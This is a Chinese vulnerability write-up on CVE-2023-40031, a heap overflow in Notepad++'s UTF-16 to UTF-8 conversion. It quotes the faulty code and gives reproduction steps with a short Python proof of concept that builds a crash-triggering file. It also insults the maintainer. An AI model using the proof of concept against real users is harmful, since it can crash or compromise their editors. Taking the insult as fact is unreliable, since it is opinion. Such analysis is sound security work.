漏洞描述
Notepad++是一款免费的开源源代码编辑器。版本8.5.6及之前的版本中存在Utf8_16_Read::convert函数的堆缓冲区写溢出漏洞。该问题可能导致任意代码执行。截至发布时,尚无已知的补丁可用于现有版本的Notepad++。
除此之外Notepad++作者已知其产品存在若干新漏洞且长达三个月之久了却未作出任何回应不知道是不会修还是不想修,我(菠萝吹雪)个人认为他是不会修,毕竟其有些言论暴露出了其智商过于低下的不争事实。
漏洞概要
在对UTF-16转换成UTF-8时,错误认为UTF-16数据长度恒为偶数倍,当数据为奇数长度时越界多读取一个字节并后续赋值,造成堆溢出。
漏洞分析
漏洞代码主要位于源码:
PowerEditorsrcUtf8_16.cpp的Utf8_16_Read::convert函数中 ,如下:
case uni16LE: {
//计算转换后的长度
size_t newSize = len + len / 2 + 1;
//根据长度申请空间
if (m_nAllocatedBufSize != newSize)
{
if (m_pNewBuf)
delete [] m_pNewBuf;
m_pNewBuf = NULL;
m_pNewBuf = new ubyte[newSize];
m_nAllocatedBufSize = newSize;
}
//将申请的空间赋值pCur
ubyte* pCur = m_pNewBuf;
//把申请的空间赋值全局变量
m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding);
//判断是否还有未处理的字符
while (m_Iter16)
{
//对输入进行转换
++m_Iter16;
utf8 c;
//对转换结果进行读取赋值
while (m_Iter16.get(&c))
*pCur++ = c;
}
m_nNewBufSize = pCur - m_pNewBuf;
函数一开始以len + len / 2 + 1对长度进行计算。
例如len为2,2 + 2 / 2 + 1 = 4计算结果为4不会造成溢出,因为两个UTF-16字节转换成UTF-8最多需要三个字节。
但是当len=3,3 + 3 / 2 + 1 = 5最坏情况会需要六个字节,造成一个字节的堆溢出。
void Utf16_Iter::operator++()
{
if (m_out1st != m_outLst) return;
switch (m_eState)
{
case eStart:
read();
if ((m_nCur16 >= 0xd800) && (m_nCur16 < 0xdc00)) {
m_eState = eSurrogate;
m_highSurrogate = m_nCur16;
}
else if (m_nCur16 < 0x80) {
pushout(static_cast<ubyte>(m_nCur16));
m_eState = eStart;
} else if (m_nCur16 < 0x800) {
pushout(static_cast<ubyte>(0xC0 | m_nCur16 >> 6));
pushout(static_cast<ubyte>(0x80 | (m_nCur16 & 0x3f)));
m_eState = eStart;
} else { [1]
pushout(static_cast<ubyte>(0xE0 | (m_nCur16 >> 12)));
pushout(static_cast<ubyte>(0x80 | ((m_nCur16 >> 6) & 0x3f)));
pushout(static_cast<ubyte>(0x80 | (m_nCur16 & 0x3f)));
m_eState = eStart;
}
break;
case eSurrogate:
read();
if ((m_nCur16 >= 0xDC00) && (m_nCur16 < 0xE000))
{ // valid surrogate pair
UINT code = 0x10000 + ((m_highSurrogate & 0x3ff) << 10) + (m_nCur16 & 0x3ff);
pushout(0xf0 | ((code >> 18) & 0x07));
pushout(0x80 | ((code >> 12) & 0x3f));
pushout(0x80 | ((code >> 6) & 0x3f));
pushout(0x80 | (code & 0x3f));
}
m_eState = eStart;
break;
}
}
上方函数即为对++m_Iter16操作符+进行重载,先使用read()对输入的两个UTF-16字节进行读取,然后判断,当我们的标志位判断进入[1]中即为最坏情况,两个UTF-16字节转换成三个UTF-8字节,使用pushout()存储数组中在后续进行读取赋值溢出。
void Utf16_Iter::read()
{
if (m_eEncoding == uni16LE || m_eEncoding == uni16LE_NoBOM)
{
m_nCur16 = *m_pRead++;
m_nCur16 |= static_cast<utf16>(*m_pRead << 8);
}
else //(m_eEncoding == uni16BE || m_eEncoding == uni16BE_NoBOM)
{
m_nCur16 = static_cast<utf16>(*m_pRead++ << 8);
m_nCur16 |= *m_pRead;
}
++m_pRead;
}
void Utf16_Iter::pushout(ubyte c)
{
m_out [m_outLst] = c;
m_outLst = (m_outLst + 1) % _countof(m_out);
}
bool Utf16_Iter::get(utf8 *c)
{
if (m_out1st != m_outLst)
{
*c = m_out [m_out1st];
m_out1st = (m_out1st + 1) % _countof(m_out);
return true;
}
return false;
}
一些必要函数的补充。
漏洞复现
- 下载:
https://github.com/notepad-plus-plus/notepad-plus-plus/releases/tag/v8.5.2
2. 添加:
<AdditionalOptions>/source-charset:utf-8 %(AdditionalOptions)</AdditionalOptions>
到源码lexillasrcLexilla.vcxproj
3. 打开:
源码PowerEditorvisual.netnotepadPlus.sln
4. 编译:
项目属性->C/C++->常规->启用地址擦除系统(ASAN内存泄露检查) 选择是然后编译。
5. 生成poc:
with open("poc", "wb") as f:
f.write(b'xfexff')
f.write(b'xff' * (128 * 1024 + 4 - 2 + 1))
6. 打开poc
7. 触发异常崩溃:
总结
堆上的一个字节溢出漏洞,利用条件虽然有限,但还是推荐使用Notepad++替代品Notepad--:
https://gitee.com/cxasm/notepad--
原文始发于微信公众号(山海之关):Notepad++堆溢出可能导致代码执行漏洞复现(CVE-2023-40031)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论